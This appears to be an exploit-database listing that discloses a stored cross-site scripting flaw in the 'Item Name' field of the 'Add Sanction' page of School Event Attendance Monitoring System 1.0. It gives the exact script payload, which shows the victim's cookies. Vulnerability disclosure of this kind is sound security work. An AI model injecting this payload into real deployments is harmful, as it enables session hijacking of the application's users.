School event attendance monitoring system 1.0 item name stored crosssite scripting Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2021-02-12 | Type : webapps | Platform : php
This exploit / vulnerability School event attendance monitoring system 1.0 item name stored crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: School Event Attendance Monitoring System 1.0 - 'Item Name' Stored Cross-Site Scripting
# Date: 2021-02-11
# Exploit Author: Suresh Kumar
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/12613/php-attendance-monitoring-system-barcode-scanning.html
# Software: School Event Attendance Monitoring System 1.0
# Tested on Windows 10 XAMPP

# This application is vulnerable to Stored XSS vulnerability.
# Vulnerable Page: http://localhost/attendance/sanction
# Vulnerable functionality: 'Add Sanction '
# Vulnerable Input Field : Item Name
# Payload used:

"><script>alert(document.cookie)</script>

# POC: Whenever we will go to the page (http://localhost/attendance/sanction)
where the script is injected, the stored script will be executed.
# You will see your Javascript code (XSS) executed.